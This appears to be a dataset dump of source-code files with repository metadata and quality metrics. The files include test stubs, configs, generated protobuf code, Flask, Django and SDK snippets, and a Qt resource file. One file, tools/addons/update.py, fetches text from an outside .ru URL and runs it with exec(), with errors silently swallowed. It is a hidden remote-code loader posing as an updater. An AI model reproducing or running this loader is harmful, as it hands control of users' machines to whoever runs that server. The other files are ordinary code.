hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c580b94ba05a92cd7fe1f877171d4fb887df7235 | 123 | py | Python | python-modules/twisted/twisted/protocols/test/__init__.py | stormtheh4ck3r/python-for-android | b9ea9161392f60566b81482b1e25cd77004d5c45 | [
"Apache-2.0"
] | 267 | 2015-03-22T15:23:48.000Z | 2022-03-05T21:57:34.000Z | python-modules/twisted/twisted/protocols/test/__init__.py | stormtheh4ck3r/python-for-android | b9ea9161392f60566b81482b1e25cd77004d5c45 | [
"Apache-2.0"
] | 133 | 2015-03-21T15:13:43.000Z | 2021-12-11T23:37:58.000Z | python-modules/twisted/twisted/protocols/test/__init__.py | stormtheh4ck3r/python-for-android | b9ea9161392f60566b81482b1e25cd77004d5c45 | [
"Apache-2.0"
] | 119 | 2015-04-28T16:07:10.000Z | 2022-03-18T03:49:48.000Z | # Copyright (c) 2009 Twisted Matrix Laboratories.
# See LICENSE for details.
"""
Unit tests for L{twisted.protocols}.
"""
| 17.571429 | 49 | 0.715447 | 16 | 123 | 5.5 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038462 | 0.154472 | 123 | 6 | 50 | 20.5 | 0.807692 | 0.894309 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
c59754be881e3d4c5b20a484fecac2959d5b021a | 203 | py | Python | config.py | Will-So/pelican_autpost | 29e87fb28cb6b62692a2c106991bcb9ed62576a6 | [
"MIT"
] | 1 | 2015-11-22T22:08:36.000Z | 2015-11-22T22:08:36.000Z | config.py | Will-So/pelapost | 29e87fb28cb6b62692a2c106991bcb9ed62576a6 | [
"MIT"
] | null | null | null | config.py | Will-So/pelapost | 29e87fb28cb6b62692a2c106991bcb9ed62576a6 | [
"MIT"
] | null | null | null | AUTHOR = 'Will Sorenson'
# Location of the pelican Blog
BLOG_DIR = '/Users/Will/Devel/tec_blog/'
# Directory that posted notebooks should be moved to
POSTED_DIR = '/Users/Will/Devel/blog_posts/posted/'
| 29 | 52 | 0.763547 | 31 | 203 | 4.870968 | 0.677419 | 0.10596 | 0.15894 | 0.225166 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128079 | 203 | 6 | 53 | 33.833333 | 0.853107 | 0.389163 | 0 | 0 | 0 | 0 | 0.628099 | 0.520661 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
c5eed90098bdcf1e0fc8cf22e79adf31b1c527f6 | 199 | py | Python | the-python-standard-library-by-example/atexit/atexit_exception.py | gottaegbert/penter | 8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d | [
"MIT"
] | 13 | 2020-01-04T07:37:38.000Z | 2021-08-31T05:19:58.000Z | src/lesson_application_building_blocks/atexit_exception.py | jasonwee/asus-rt-n14uhp-mrtg | 4fa96c3406e32ea6631ce447db6d19d70b2cd061 | [
"Apache-2.0"
] | 3 | 2020-06-05T22:42:53.000Z | 2020-08-24T07:18:54.000Z | src/lesson_application_building_blocks/atexit_exception.py | jasonwee/asus-rt-n14uhp-mrtg | 4fa96c3406e32ea6631ce447db6d19d70b2cd061 | [
"Apache-2.0"
] | 9 | 2020-10-19T04:53:06.000Z | 2021-08-31T05:20:01.000Z | import atexit
def exit_with_exception(message):
raise RuntimeError(message)
atexit.register(exit_with_exception, 'Registered first')
atexit.register(exit_with_exception, 'Registered second')
| 19.9 | 57 | 0.81407 | 24 | 199 | 6.5 | 0.541667 | 0.153846 | 0.326923 | 0.282051 | 0.525641 | 0.525641 | 0 | 0 | 0 | 0 | 0 | 0 | 0.100503 | 199 | 9 | 58 | 22.111111 | 0.871508 | 0 | 0 | 0 | 0 | 0 | 0.165829 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
c5f34dea4e9ac4b9dfcdf92a65cd7d30968272e3 | 193 | py | Python | test.py | Moon-sung-woo/MIST_Tacotron | cfd81a62c15271627fc81d3d2673e10549beb650 | [
"BSD-3-Clause"
] | null | null | null | test.py | Moon-sung-woo/MIST_Tacotron | cfd81a62c15271627fc81d3d2673e10549beb650 | [
"BSD-3-Clause"
] | null | null | null | test.py | Moon-sung-woo/MIST_Tacotron | cfd81a62c15271627fc81d3d2673e10549beb650 | [
"BSD-3-Clause"
] | null | null | null | a = [19.310344827586206, 19.597989949748744]
b = [24.796747967479675, 9.0, 9.276018099547512, 6.329113924050633, 21.145374449339208, 19.615384615384617]
c = a + b
print(max(c))
print(min(c)) | 27.571429 | 107 | 0.735751 | 27 | 193 | 5.259259 | 0.703704 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.69186 | 0.108808 | 193 | 7 | 108 | 27.571429 | 0.133721 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
6801f6ae12d907af57c6c8c915e7f3040e340621 | 226 | py | Python | gencove/command/s3_imports/autoimports/create/constants.py | gncv/gencove-cli | b4bcbe5b6a1506544472542af8b2384d21c7cbe4 | [
"Apache-2.0"
] | 1 | 2020-04-28T06:31:53.000Z | 2020-04-28T06:31:53.000Z | gencove/command/s3_imports/autoimports/create/constants.py | gncv/gencove-cli | b4bcbe5b6a1506544472542af8b2384d21c7cbe4 | [
"Apache-2.0"
] | null | null | null | gencove/command/s3_imports/autoimports/create/constants.py | gncv/gencove-cli | b4bcbe5b6a1506544472542af8b2384d21c7cbe4 | [
"Apache-2.0"
] | 1 | 2021-07-29T08:24:51.000Z | 2021-07-29T08:24:51.000Z | """Constants for s3-autoimport command."""
from typing import Optional
from gencove.constants import Optionals
class S3AutoImportOptionals(Optionals):
"""S3AutoImportOptionals model"""
metadata_json: Optional[str]
| 20.545455 | 42 | 0.774336 | 23 | 226 | 7.565217 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015306 | 0.132743 | 226 | 10 | 43 | 22.6 | 0.872449 | 0.283186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 1.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
680640273aa89974cbaf865ae95903bd5dd9dfc3 | 20,369 | py | Python | MasterServer/MasterServer_pb2.py | wangtl175/Distributed-Key-Value-Store-System | c6661686474ef2660a6c4e62c2db6d1f924ebf29 | [
"MIT"
] | 1 | 2021-03-13T12:43:12.000Z | 2021-03-13T12:43:12.000Z | MasterServer/MasterServer_pb2.py | wangtl175/Distributed-Key-Value-Store-System | c6661686474ef2660a6c4e62c2db6d1f924ebf29 | [
"MIT"
] | null | null | null | MasterServer/MasterServer_pb2.py | wangtl175/Distributed-Key-Value-Store-System | c6661686474ef2660a6c4e62c2db6d1f924ebf29 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: MasterServer.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.pr... | 36.373214 | 1,847 | 0.742992 | 2,565 | 20,369 | 5.57232 | 0.077973 | 0.051634 | 0.085077 | 0.077451 | 0.759673 | 0.700203 | 0.681103 | 0.669908 | 0.653887 | 0.614637 | 0 | 0.035211 | 0.128578 | 20,369 | 559 | 1,848 | 36.438283 | 0.770028 | 0.033237 | 0 | 0.681102 | 1 | 0.001969 | 0.18893 | 0.139118 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.007874 | 0 | 0.007874 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a83be72b12f7cf58b69d8f79620ea25164e81bad | 2,154 | py | Python | QVertex/tools/createGeodata.py | tuapsekad/qVertex | c243a146625ccbda6b004eb73590cc1064bbf062 | [
"MIT"
] | null | null | null | QVertex/tools/createGeodata.py | tuapsekad/qVertex | c243a146625ccbda6b004eb73590cc1064bbf062 | [
"MIT"
] | null | null | null | QVertex/tools/createGeodata.py | tuapsekad/qVertex | c243a146625ccbda6b004eb73590cc1064bbf062 | [
"MIT"
] | 1 | 2020-03-13T14:40:57.000Z | 2020-03-13T14:40:57.000Z | # -*- coding: utf-8 -*-
__name__ = 'createGeodata'
__version__ = '0.1'
__author__ = 'Filippov Vladislav'
from PyQt4 import QtCore, QtGui
import os.path
from PyQt4.QtGui import QDialog, QMessageBox, QFileDialog
from QVertex.tools.createGeodata_ui import Ui_Geodata
from QVertex.tools.coordcatalog import CatalogData
#... | 2,154 | 2,154 | 0.63974 | 245 | 2,154 | 5.444898 | 0.395918 | 0.053973 | 0.044978 | 0.089955 | 0.128936 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004287 | 0.241876 | 2,154 | 1 | 2,154 | 2,154 | 0.812615 | 0.996286 | 0 | 0 | 0 | 0 | 0.053965 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.081081 | false | 0 | 0.135135 | 0 | 0.243243 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a85b7aea7972487bff4ad98b26e933e9eeca98a1 | 110 | py | Python | tools/addons/update.py | Denis198700000/Impulse | f9cb33e24b1efadee922cdf72f20e9502220fb2d | [
"MIT"
] | 1 | 2020-07-16T20:05:23.000Z | 2020-07-16T20:05:23.000Z | tools/addons/update.py | Denis198700000/Impulse | f9cb33e24b1efadee922cdf72f20e9502220fb2d | [
"MIT"
] | null | null | null | tools/addons/update.py | Denis198700000/Impulse | f9cb33e24b1efadee922cdf72f20e9502220fb2d | [
"MIT"
] | null | null | null |
import requests as r
try:
exec(r.get("http://f0398143.xsph.ru/getUpdates.php").text)
except: pass
| 15.714286 | 63 | 0.663636 | 17 | 110 | 4.294118 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077778 | 0.181818 | 110 | 6 | 64 | 18.333333 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0.372549 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.25 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
a86ea1089d1f3767286b8a3c3fc1e28792850d42 | 118 | py | Python | wsgi/container/pkgs/angular/__init__.py | rch/flask-openshift | 17057e0500ecfde34cb501e4ec3f3d08204e3828 | [
"MIT"
] | 1 | 2017-02-01T08:13:17.000Z | 2017-02-01T08:13:17.000Z | wsgi/container/pkgs/angular/__init__.py | rch/flask-openshift | 17057e0500ecfde34cb501e4ec3f3d08204e3828 | [
"MIT"
] | null | null | null | wsgi/container/pkgs/angular/__init__.py | rch/flask-openshift | 17057e0500ecfde34cb501e4ec3f3d08204e3828 | [
"MIT"
] | null | null | null | from flask import Blueprint
bp = Blueprint('angular', __name__, static_folder='static', template_folder='templates')
| 29.5 | 88 | 0.788136 | 14 | 118 | 6.214286 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09322 | 118 | 3 | 89 | 39.333333 | 0.813084 | 0 | 0 | 0 | 0 | 0 | 0.186441 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 4 |
a87f6a05d6815a4b69349a2c80a10cdeb41325f5 | 153 | py | Python | app/views/__init__.py | ohahlev/flaskit | acc52a7a1201560bd656399bb994b1ec228c375c | [
"MIT"
] | null | null | null | app/views/__init__.py | ohahlev/flaskit | acc52a7a1201560bd656399bb994b1ec228c375c | [
"MIT"
] | null | null | null | app/views/__init__.py | ohahlev/flaskit | acc52a7a1201560bd656399bb994b1ec228c375c | [
"MIT"
] | null | null | null | from flask import (
send_file
)
from app import app
@app.route("/download/<path:filename>")
def download(filename):
return send_file(filename)
| 15.3 | 39 | 0.718954 | 21 | 153 | 5.142857 | 0.571429 | 0.148148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163399 | 153 | 9 | 40 | 17 | 0.84375 | 0 | 0 | 0 | 0 | 0 | 0.163399 | 0.163399 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0.142857 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
a88e8713e6c37e336b3261ddad46f8d7140885fd | 90 | py | Python | Python/04. Sets/011. The Captain's Room.py | stonehengee/HackerrankPractice | ec052e7447391e40d1919cf0b641ff5023da3da3 | [
"MIT"
] | null | null | null | Python/04. Sets/011. The Captain's Room.py | stonehengee/HackerrankPractice | ec052e7447391e40d1919cf0b641ff5023da3da3 | [
"MIT"
] | null | null | null | Python/04. Sets/011. The Captain's Room.py | stonehengee/HackerrankPractice | ec052e7447391e40d1919cf0b641ff5023da3da3 | [
"MIT"
] | null | null | null | # Problem: https://www.hackerrank.com/challenges/py-the-captains-room/problem
# Score: 10
| 30 | 77 | 0.766667 | 13 | 90 | 5.307692 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02381 | 0.066667 | 90 | 2 | 78 | 45 | 0.797619 | 0.944444 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a8a4904cf0160a0a3a99900c2851b30fe0700c66 | 155 | py | Python | {{cookiecutter.project_name}}/src/{{cookiecutter.project_name}}/sample_package/sample_module.py | slettner/pymetrius | 5c39a2b59c37256eca18061b74aaf411bc8d5154 | [
"MIT"
] | 5 | 2021-12-06T12:02:14.000Z | 2022-01-12T08:05:36.000Z | {{cookiecutter.project_name}}/src/{{cookiecutter.project_name}}/sample_package/sample_module.py | slettner/pymetrius | 5c39a2b59c37256eca18061b74aaf411bc8d5154 | [
"MIT"
] | 4 | 2021-12-05T18:18:15.000Z | 2022-01-13T11:03:57.000Z | {{cookiecutter.project_name}}/src/{{cookiecutter.project_name}}/sample_package/sample_module.py | slettner/pymetrius | 5c39a2b59c37256eca18061b74aaf411bc8d5154 | [
"MIT"
] | 1 | 2021-12-06T10:30:51.000Z | 2021-12-06T10:30:51.000Z | """
This is a module in a separate package
"""
def hello_stranger():
"""
hello
"""
print("pylint does not like empty modules")
| 14.090909 | 48 | 0.56129 | 19 | 155 | 4.526316 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.316129 | 155 | 10 | 49 | 15.5 | 0.811321 | 0.283871 | 0 | 0 | 0 | 0 | 0.435897 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
a8c62cd51b39104bee631eb33ad19809a3fe74bd | 39 | py | Python | tests/__init__.py | ValentinCalomme/syngle | 1d803ccee227da158f945a916576709bb0383bcc | [
"MIT"
] | 1 | 2020-09-29T07:40:33.000Z | 2020-09-29T07:40:33.000Z | tests/__init__.py | ValentinCalomme/syngle | 1d803ccee227da158f945a916576709bb0383bcc | [
"MIT"
] | null | null | null | tests/__init__.py | ValentinCalomme/syngle | 1d803ccee227da158f945a916576709bb0383bcc | [
"MIT"
] | null | null | null | """Improve convenience of imports."""
| 19.5 | 38 | 0.692308 | 4 | 39 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 39 | 1 | 39 | 39 | 0.794118 | 0.794872 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
765eb17a6fa8c73c7c109eb5ba45cc46355a6f19 | 170 | py | Python | judge/bin/django-admin.py | chunky2808/Karmo-Onsite-Judge | 545edcf13bf90027be01f2d366f6a000f087f3b7 | [
"MIT"
] | 13 | 2018-07-22T08:05:01.000Z | 2022-03-28T17:49:07.000Z | judge/bin/django-admin.py | chunky2808/Karmo-Onsite-Judge | 545edcf13bf90027be01f2d366f6a000f087f3b7 | [
"MIT"
] | null | null | null | judge/bin/django-admin.py | chunky2808/Karmo-Onsite-Judge | 545edcf13bf90027be01f2d366f6a000f087f3b7 | [
"MIT"
] | 5 | 2018-07-26T05:49:48.000Z | 2021-05-09T10:06:51.000Z | #!/home/paras/Desktop/coding/my-project/Judge/judge/bin/python3
from django.core import management
if __name__ == "__main__":
management.execute_from_command_line()
| 28.333333 | 63 | 0.788235 | 23 | 170 | 5.347826 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006452 | 0.088235 | 170 | 5 | 64 | 34 | 0.787097 | 0.364706 | 0 | 0 | 0 | 0 | 0.074766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
76623841fa2acfeacebbb12cfde5a95bf47ff127 | 3,030 | py | Python | aliyun-python-sdk-ehpc/aliyunsdkehpc/request/v20180412/ModifyImageGatewayConfigRequest.py | liumihust/aliyun-openapi-python-sdk | c7b5dd4befae4b9c59181654289f9272531207ef | [
"Apache-2.0"
] | 1 | 2019-12-23T12:36:43.000Z | 2019-12-23T12:36:43.000Z | aliyun-python-sdk-ehpc/aliyunsdkehpc/request/v20180412/ModifyImageGatewayConfigRequest.py | liumihust/aliyun-openapi-python-sdk | c7b5dd4befae4b9c59181654289f9272531207ef | [
"Apache-2.0"
] | null | null | null | aliyun-python-sdk-ehpc/aliyunsdkehpc/request/v20180412/ModifyImageGatewayConfigRequest.py | liumihust/aliyun-openapi-python-sdk | c7b5dd4befae4b9c59181654289f9272531207ef | [
"Apache-2.0"
] | null | null | null | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 35.647059 | 88 | 0.747525 | 401 | 3,030 | 5.483791 | 0.286783 | 0.035016 | 0.060027 | 0.085039 | 0.174625 | 0.174625 | 0.174625 | 0.047749 | 0.047749 | 0.047749 | 0 | 0.005741 | 0.137624 | 3,030 | 85 | 89 | 35.647059 | 0.835821 | 0.248845 | 0 | 0 | 0 | 0 | 0.145132 | 0.030937 | 0 | 0 | 0 | 0 | 0 | 1 | 0.413043 | false | 0.086957 | 0.021739 | 0.195652 | 0.652174 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 4 |
76692c66ffee099ddb410951fdb49cbfb95a9497 | 5,725 | py | Python | tinycom/tinycom_rc.py | EnjoyLifeFund/macHighSierra-py36-pkgs | 5668b5785296b314ea1321057420bcd077dba9ea | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null | tinycom/tinycom_rc.py | EnjoyLifeFund/macHighSierra-py36-pkgs | 5668b5785296b314ea1321057420bcd077dba9ea | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null | tinycom/tinycom_rc.py | EnjoyLifeFund/macHighSierra-py36-pkgs | 5668b5785296b314ea1321057420bcd077dba9ea | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt4 (Qt v4.8.7)
#
# WARNING! All changes made in this file will be lost!
from .qt import *
qt_resource_data = b"\
\x00\x00\x04\x70\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
